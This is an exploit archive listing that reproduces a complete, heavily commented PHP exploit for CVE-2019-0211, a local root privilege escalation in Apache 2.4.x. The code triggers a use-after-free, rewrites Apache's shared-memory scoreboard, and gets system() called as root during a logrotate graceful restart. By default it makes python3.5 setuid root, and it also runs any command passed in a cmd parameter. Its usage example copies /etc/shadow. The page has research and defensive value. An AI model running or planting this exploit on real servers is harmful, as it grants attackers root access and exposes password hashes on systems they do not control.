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CARPE (DIEM) Apache 2.4.x Local Privilege Escalation

CARPE (DIEM) Apache 2.4.x Local Privilege Escalation
Posted Apr 8, 2019
Authored by Charles FOL | Site cfreal.github.io

Apache versions 2.4.17 up to 2.4.38 apache2ctl graceful logrotate local privilege escalation exploit.

tags | exploit, local
advisories | CVE-2019-0211
MD5 | 5c83e7c4b08d7c21ba57dab3c4dc0116

CARPE (DIEM) Apache 2.4.x Local Privilege Escalation

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<?php
# CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation
# Charles Fol
# @cfreal_
# 2019-04-08
#
# INFOS
#
# https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html
#
# USAGE
#
# 1. Upload exploit to Apache HTTP server
# 2. Send request to page
# 3. Await 6:25AM for logrotate to restart Apache
# 4. python3.5 is now suid 0
#
# You can change the command that is ran as root using the cmd HTTP
# parameter (GET/POST).
# Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/
#
# SUCCESS RATE
#
# Number of successful and failed exploitations relative to of the number
# of MPM workers (i.e. Apache subprocesses). YMMV.
#
# W --% S F
# 5 87% 177 26 (default)
# 8 89% 60 8
# 10 95% 70 4
#
# More workers, higher success rate.
# By default (5 workers), 87% success rate. With huge HTTPds, close to 100%.
# Generally, failure is due to all_buckets being relocated too far from its
# original address.
#
# TESTED ON
#
# - Apache/2.4.25
# - PHP 7.2.12
# - Debian GNU/Linux 9.6
#
# TESTING
#
# $ curl http://localhost/cfreal-carpediem.php
# $ sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# $ ls -alh /usr/bin/python3.5
# -rwsr-sr-x 2 root root 4.6M Sep 27 2018 /usr/bin/python3.5
#
# There are no hardcoded addresses.
# - Addresses read through /proc/self/mem
# - Offsets read through ELF parsing
#
# As usual, there are tons of comments.
#


o('CARPE (DIEM) ~ CVE-2019-0211');
o('');

error_reporting(E_ALL);


# Starts the exploit by triggering the UAF.
function real()
{
global $y;
$y = [new Z()];
json_encode([0 => &$y]);
}

# In order to read/write what comes after in memory, we need to UAF a string so
# that we can control its size and make in-place edition.
# An easy way to do that is to replace the string by a timelib_rel_time
# structure of which the first bytes can be reached by the (y, m, d, h, i, s)
# properties of the DateInterval object.
#
# Steps:
# - Create a base object (Z)
# - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time)
# - Create DateInterval object ($place) meant to be unset and filled by another
# - Trigger the UAF by unsetting $y[0], which is still reachable using $this
# - Unset $place: at this point, if we create a new DateInterval object, it will
# replace $place in memory
# - Create a string ($holder) that fills $place's timelib_rel_time structure
# - Allocate a new DateInterval object: its timelib_rel_time structure will
# end up in place of abc
# - Now we can control $this->abc's zend_string structure entirely using
# y, m, d etc.
# - Increase abc's size so that we can read/write memory that comes after it,
# especially the shared memory block
# - Find out all_buckets' position by finding a memory region that matches the
# mutex->meth structure
# - Compute the bucket index required to reach the SHM and get an arbitrary
# function call
# - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the
# bucket
class Z implements JsonSerializable
{
public function jsonSerialize()
{
global $y, $addresses, $workers_pids;

#
# Setup memory
#
o('Triggering UAF');
o(' Creating room and filling empty spaces');

# Fill empty blocks to make sure our allocations will be contiguous
# I: Since a lot of allocations/deallocations happen before the script
# is ran, two variables instanciated at the same time might not be
# contiguous: this can be a problem for a lot of reasons.
# To avoid this, we instanciate several DateInterval objects. These
# objects will fill a lot of potentially non-contiguous memory blocks,
# ensuring we get "fresh memory" in upcoming allocations.
$contiguous = [];
for($i=0;$i<10;$i++)
$contiguous[] = new DateInterval('PT1S');

# Create some space for our UAF blocks not to get overwritten
# I: A PHP object is a combination of a lot of structures, such as
# zval, zend_object, zend_object_handlers, zend_string, etc., which are
# all allocated, and freed when the object is destroyed.
# After the UAF is triggered on the object, all the structures that are
# used to represent it will be marked as free.
# If we create other variables afterwards, those variables might be
# allocated in the object's previous memory regions, which might pose
# problems for the rest of the exploitation.
# To avoid this, we allocate a lot of objects before the UAF, and free
# them afterwards. Since PHP's heap is LIFO, when we create other vars,
# they will take the place of those objects instead of the object we
# are triggering the UAF on. This means our object is "shielded" and
# we don't have to worry about breaking it.
$room = [];
for($i=0;$i<10;$i++)
$room[] = new Z();

# Build string meant to fill old DateInterval's timelib_rel_time
# I: ptr2str's name is unintuitive here: we just want to allocate a
# zend_string of size 78.
$_protector = ptr2str(0, 78);

o(' Allocating $abc and $p');

# Create ABC
# I: This is the variable we will use to R/W memory afterwards.
# After we free the Z object, we'll make sure abc is overwritten by a
# timelib_rel_time structure under our control. The first 8*8 = 64 bytes
# of this structure can be modified easily, meaning we can change the
# size of abc. This will allow us to read/write memory after abc.
$this->abc = ptr2str(0, 79);

# Create $p meant to protect $this's blocks
# I: Right after we trigger the UAF, we will unset $p.
# This means that the timelib_rel_time structure (TRT) of this object
# will be freed. We will then allocate a string ($protector) of the same
# size as TRT. Since PHP's heap is LIFO, the string will take the place
# of the now-freed TRT in memory.
# Then, we create a new DateInterval object ($x). From the same
# assumption, every structure constituting this new object will take the
# place of the previous structure. Nevertheless, since TRT's memory
# block has already been replaced by $protector, the new TRT will be put
# in the next free blocks of the same size, which happens to be $abc
# (remember, |abc| == |timelib_rel_time|).
# We now have the following situation: $x is a DateInterval object whose
# internal TRT structure has the same address as $abc's zend_string.
$p = new DateInterval('PT1S');

#
# Trigger UAF
#

o(' Unsetting both variables and setting $protector');
# UAF here, $this is usable despite being freed
unset($y[0]);
# Protect $this's freed blocks
unset($p);

# Protect $p's timelib_rel_time structure
$protector = ".$_protector";
# !!! This is only required for apache
# Got no idea as to why there is an extra deallocation (?)
$room[] = "!$_protector";

o(' Creating DateInterval object');
# After this line:
# &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str
# We can control the structure of $this->abc and therefore read/write
# anything that comes after it in memory by changing its size and
# making in-place edits using $this->abc[$position] = $char
$x = new DateInterval('PT1S');
# zend_string.refcount = 0
# It will get incremented at some point, and if it is > 1,
# zend_assign_to_string_offset() will try to duplicate it before making
# the in-place replacement
$x->y = 0x00;
# zend_string.len
$x->d = 0x100;
# zend_string.val[0-4]
$x->h = 0x13121110;

# Verify UAF was successful
# We modified stuff via $x; they should be visible by $this->abc, since
# they are at the same memory location.
if(!(
strlen($this->abc) === $x->d &&
$this->abc[0] == "\x10" &&
$this->abc[1] == "\x11" &&
$this->abc[2] == "\x12" &&
$this->abc[3] == "\x13"
))
{
o('UAF failed, exiting.');
exit();
}
o('UAF successful.');
o('');

# Give us some room
# I: As indicated before, just unset a lot of stuff so that next allocs
# don't break our fragile UAFd structure.
unset($room);

#
# Setup the R/W primitive
#

# We control $abc's internal zend_string structure, therefore we can R/W
# the shared memory block (SHM), but for that we need to know the
# position of $abc in memory
# I: We know the absolute position of the SHM, so we need to need abc's
# as well, otherwise we cannot compute the offset

# Assuming the allocation was contiguous, memory looks like this, with
# 0x70-sized fastbins:
# [zend_string:abc]
# [zend_string:protector]
# [FREE#1]
# [FREE#2]
# Therefore, the address of the 2nd free block is in the first 8 bytes
# of the first block: 0x70 * 2 - 24
$address = str2ptr($this->abc, 0x70 * 2 - 24);
# The address we got points to FREE#2, hence we're |block| * 3 higher in
# memory
$address = $address - 0x70 * 3;
# The beginning of the string is 24 bytes after its origin
$address = $address + 24;
o('Address of $abc: 0x' . dechex($address));
o('');

# Compute the size required for our string to include the whole SHM and
# apache's memory region
$distance =
max($addresses['apache'][1], $addresses['shm'][1]) -
$address
;
$x->d = $distance;

# We can now read/write in the whole SHM and apache's memory region.

#
# Find all_buckets in memory
#

# We are looking for a structure s.t.
# |all_buckets, mutex| = 0x10
# |mutex, meth| = 0x8
# all_buckets is in apache's memory region
# mutex is in apache's memory region
# meth is in libaprR's memory region
# meth's function pointers are in libaprX's memory region
o('Looking for all_buckets in memory');
$all_buckets = 0;

for(
$i = $addresses['apache'][0] + 0x10;
$i < $addresses['apache'][1] - 0x08;
$i += 8
)
{
# mutex
$mutex = $pointer = str2ptr($this->abc, $i - $address);
if(!in($pointer, $addresses['apache']))
continue;


# meth
$meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
if(!in($pointer, $addresses['libaprR']))
continue;

o(' [&mutex]: 0x' . dechex($i));
o(' [mutex]: 0x' . dechex($mutex));
o(' [meth]: 0x' . dechex($meth));


# meth->*
# flags
if(str2ptr($this->abc, $pointer - $address) != 0)
continue;
# methods
for($j=0;$j<7;$j++)
{
$m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
if(!in($m, $addresses['libaprX']))
continue 2;
o(' [*]: 0x' . dechex($m));
}

$all_buckets = $i - 0x10;
o('all_buckets = 0x' . dechex($all_buckets));
break;
}

if(!$all_buckets)
{
o('Unable to find all_buckets');
exit();
}

o('');

# The address of all_buckets will change when apache is gracefully
# restarted. This is a problem because we need to know all_buckets's
# address in order to make all_buckets[some_index] point to a memory
# region we control.

#
# Compute potential bucket indexes and their addresses
#

o('Computing potential bucket indexes and addresses');

# Since we have sizeof($workers_pid) MPM workers, we can fill the rest
# of the ap_score_image->servers items, so 256 - sizeof($workers_pids),
# with data we like. We keep the one at the top to store our payload.
# The rest is sprayed with the address of our payload.

$size_prefork_child_bucket = 24;
$size_worker_score = 264;
# I get strange errors if I use every "free" item, so I leave twice as
# many items free. I'm guessing upon startup some
$spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
$spray_max = $addresses['shm'][1];
$spray_min = $spray_max - $spray_size;

$spray_middle = (int) (($spray_min + $spray_max) / 2);
$bucket_index_middle = (int) (
- ($all_buckets - $spray_middle) /
$size_prefork_child_bucket
);

#
# Build payload
#

# A worker_score structure was kept empty to put our payload in
$payload_start = $spray_min - $size_worker_score;

$z = ptr2str(0);

# Payload maxsize 264 - 112 = 152
# Offset 8 cannot be 0, but other than this you can type whatever
# command you want
$bucket = isset($_REQUEST['cmd']) ?
$_REQUEST['cmd'] :
"chmod +s /usr/bin/python3.5";

if(strlen($bucket) > $size_worker_score - 112)
{
o(
'Payload size is bigger than available space (' .
($size_worker_score - 112) .
'), exiting.'
);
exit();
}
# Align
$bucket = str_pad($bucket, $size_worker_score - 112, "\x00");

# apr_proc_mutex_unix_lock_methods_t
$meth =
$z .
$z .
$z .
$z .
$z .
$z .
# child_init
ptr2str($addresses['zend_object_std_dtor'])
;

# The second pointer points to meth, and is used before reaching the
# arbitrary function call
# The third one and the last one are both used by the function call
# zend_object_std_dtor(object) => ... => system(&arData[0]->val)
$properties =
# refcount
ptr2str(1) .
# u-nTableMask meth
ptr2str($payload_start + strlen($bucket)) .
# Bucket arData
ptr2str($payload_start) .
# uint32_t nNumUsed;
ptr2str(1, 4) .
# uint32_t nNumOfElements;
ptr2str(0, 4) .
# uint32_t nTableSize
ptr2str(0, 4) .
# uint32_t nInternalPointer
ptr2str(0, 4) .
# zend_long nNextFreeElement
$z .
# dtor_func_t pDestructor
ptr2str($addresses['system'])
;

$payload =
$bucket .
$meth .
$properties
;

# Write the payload

o('Placing payload at address 0x' . dechex($payload_start));

$p = $payload_start - $address;
for(
$i = 0;
$i < strlen($payload);
$i++
)
{
$this->abc[$p+$i] = $payload[$i];
}

# Fill the spray area with a pointer to properties

$properties_address = $payload_start + strlen($bucket) + strlen($meth);
o('Spraying pointer');
o(' Address: 0x' . dechex($properties_address));
o(' From: 0x' . dechex($spray_min));
o(' To: 0x' . dechex($spray_max));
o(' Size: 0x' . dechex($spray_size));
o(' Covered: 0x' . dechex($spray_size * count($workers_pids)));
o(' Apache: 0x' . dechex(
$addresses['apache'][1] -
$addresses['apache'][0]
));

$s_properties_address = ptr2str($properties_address);

for(
$i = $spray_min;
$i < $spray_max;
$i++
)
{
$this->abc[$i - $address] = $s_properties_address[$i % 8];
}
o('');

# Find workers PID in the SHM: it indicates the beginning of their
# process_score structure. We can then change process_score.bucket to
# the index we computed. When apache reboots, it will use
# all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex
# which means we control the whole apr_proc_mutex_t structure.
# This structure contains pointers to multiple functions, especially
# mutex->meth->child_init(), which will be called before privileges
# are dropped.
# We do this for every worker PID, incrementing the bucket index so that
# we cover a bigger range.

o('Iterating in SHM to find PIDs...');

# Number of bucket indexes covered by our spray
$spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
# Number of bucket indexes covered by our spray and the PS structures
$total_nb_buckets = $spray_nb_buckets * count($workers_pids);
# First bucket index to handle
$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);

# Iterate over every process_score structure until we find every PID or
# we reach the end of the SHM
for(
$p = $addresses['shm'][0] + 0x20;
$p < $addresses['shm'][1] && count($workers_pids) > 0;
$p += 0x24
)
{
$l = $p - $address;
$current_pid = str2ptr($this->abc, $l, 4);
o('Got PID: ' . $current_pid);
# The PID matches one of the workers
if(in_array($current_pid, $workers_pids))
{
unset($workers_pids[$current_pid]);
o(' PID matches');
# Update bucket address
$s_bucket_index = pack('l', $bucket_index);
$this->abc[$l + 0x20] = $s_bucket_index[0];
$this->abc[$l + 0x21] = $s_bucket_index[1];
$this->abc[$l + 0x22] = $s_bucket_index[2];
$this->abc[$l + 0x23] = $s_bucket_index[3];
o(' Changed bucket value to ' . $bucket_index);
$min = $spray_min - $size_prefork_child_bucket * $bucket_index;
$max = $spray_max - $size_prefork_child_bucket * $bucket_index;
o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
# This bucket range is covered, go to the next one
$bucket_index += $spray_nb_buckets;
}
}

if(count($workers_pids) > 0)
{
o(
'Unable to find PIDs ' .
implode(', ', $workers_pids) .
' in SHM, exiting.'
);
exit();
}

o('');
o('EXPLOIT SUCCESSFUL.');
o('Await 6:25AM.');

return 0;
}
}

function o($msg)
{
# No concatenation -> no string allocation
print($msg);
print("\n");
}

function ptr2str($ptr, $m=8)
{
$out = "";
for ($i=0; $i<$m; $i++)
{
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function str2ptr(&$str, $p, $s=8)
{
$address = 0;
for($j=$s-1;$j>=0;$j--)
{
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function in($i, $range)
{
return $i >= $range[0] && $i < $range[1];
}

/**
* Finds the offset of a symbol in a file.
*/
function find_symbol($file, $symbol)
{
$elf = file_get_contents($file);
$e_shoff = str2ptr($elf, 0x28);
$e_shentsize = str2ptr($elf, 0x3a, 2);
$e_shnum = str2ptr($elf, 0x3c, 2);

$dynsym_off = 0;
$dynsym_sz = 0;
$dynstr_off = 0;

for($i=0;$i<$e_shnum;$i++)
{
$offset = $e_shoff + $i * $e_shentsize;
$sh_type = str2ptr($elf, $offset + 0x04, 4);

$SHT_DYNSYM = 11;
$SHT_SYMTAB = 2;
$SHT_STRTAB = 3;

switch($sh_type)
{
case $SHT_DYNSYM:
$dynsym_off = str2ptr($elf, $offset + 0x18, 8);
$dynsym_sz = str2ptr($elf, $offset + 0x20, 8);
break;
case $SHT_STRTAB:
case $SHT_SYMTAB:
if(!$dynstr_off)
$dynstr_off = str2ptr($elf, $offset + 0x18, 8);
break;
}

}

if(!($dynsym_off && $dynsym_sz && $dynstr_off))
exit('.');

$sizeof_Elf64_Sym = 0x18;

for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++)
{
$offset = $dynsym_off + $i * $sizeof_Elf64_Sym;
$st_name = str2ptr($elf, $offset, 4);

if(!$st_name)
continue;

$offset_string = $dynstr_off + $st_name;
$end = strpos($elf, "\x00", $offset_string) - $offset_string;
$string = substr($elf, $offset_string, $end);

if($string == $symbol)
{
$st_value = str2ptr($elf, $offset + 0x8, 8);
return $st_value;
}
}

die('Unable to find symbol ' . $symbol);
}

# Obtains the addresses of the shared memory block and some functions through
# /proc/self/maps
# This is hacky as hell.
function get_all_addresses()
{
$addresses = [];
$data = file_get_contents('/proc/self/maps');
$follows_shm = false;

foreach(explode("\n", $data) as $line)
{
if(!isset($addresses['shm']) && strpos($line, '/dev/zero'))
{
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
if ($bounds[1] - $bounds[0] == 0x14000)
{
$addresses['shm'] = $bounds;
$follows_shm = true;
}
}
if(
preg_match('#(/[^\s]+libc-[0-9.]+.so[^\s]*)#', $line, $matches) &&
strpos($line, 'r-xp')
)
{
$offset = find_symbol($matches[1], 'system');
$line = explode(' ', $line)[0];
$line = hexdec(explode('-', $line)[0]);
$addresses['system'] = $line + $offset;
}
if(
strpos($line, 'libapr-1.so') &&
strpos($line, 'r-xp')
)
{
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
$addresses['libaprX'] = $bounds;
}
if(
strpos($line, 'libapr-1.so') &&
strpos($line, 'r--p')
)
{
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
$addresses['libaprR'] = $bounds;
}
# Apache's memory block is between the SHM and ld.so
# Sometimes some rwx region gets mapped; all_buckets cannot be in there
# but we include it anyways for the sake of simplicity
if(
(
strpos($line, 'rw-p') ||
strpos($line, 'rwxp')
) &&
$follows_shm
)
{
if(strpos($line, '/lib'))
{
$follows_shm = false;
continue;
}
$line = explode(' ', $line)[0];
$bounds = array_map('hexdec', explode('-', $line));
if(!array_key_exists('apache', $addresses))
$addresses['apache'] = $bounds;
else if($addresses['apache'][1] == $bounds[0])
$addresses['apache'][1] = $bounds[1];
else
$follows_shm = false;
}
if(
preg_match('#(/[^\s]+libphp7[0-9.]+.so[^\s]*)#', $line, $matches) &&
strpos($line, 'r-xp')
)
{
$offset = find_symbol($matches[1], 'zend_object_std_dtor');
$line = explode(' ', $line)[0];
$line = hexdec(explode('-', $line)[0]);
$addresses['zend_object_std_dtor'] = $line + $offset;
}
}

$expected = [
'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor'
];
$missing = array_diff($expected, array_keys($addresses));

if($missing)
{
o(
'The following addresses were not determined by parsing ' .
'/proc/self/maps: ' . implode(', ', $missing)
);
exit(0);
}


o('PID: ' . getmypid());
o('Fetching addresses');

foreach($addresses as $k => $a)
{
if(!is_array($a))
$a = [$a];
o(' ' . $k . ': ' . implode('-0x', array_map(function($z) {
return '0x' . dechex($z);
}, $a)));
}
o('');

return $addresses;
}

# Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status,
# matching the cmdline and the UID
function get_workers_pids()
{
o('Obtaining apache workers PIDs');
$pids = [];
$cmd = file_get_contents('/proc/self/cmdline');
$processes = glob('/proc/*');
foreach($processes as $process)
{
if(!preg_match('#^/proc/([0-9]+)$#', $process, $match))
continue;
$pid = (int) $match[1];
if(
!is_readable($process . '/cmdline') ||
!is_readable($process . '/status')
)
continue;
if($cmd !== file_get_contents($process . '/cmdline'))
continue;

$status = file_get_contents($process . '/status');
foreach(explode("\n", $status) as $line)
{
if(
strpos($line, 'Uid:') === 0 &&
preg_match('#\b' . posix_getuid() . '\b#', $line)
)
{
o(' Found apache worker: ' . $pid);
$pids[$pid] = $pid;
break;
}

}
}

o('Got ' . sizeof($pids) . ' PIDs.');
o('');

return $pids;
}

$addresses = get_all_addresses();
$workers_pids = get_workers_pids();
real();

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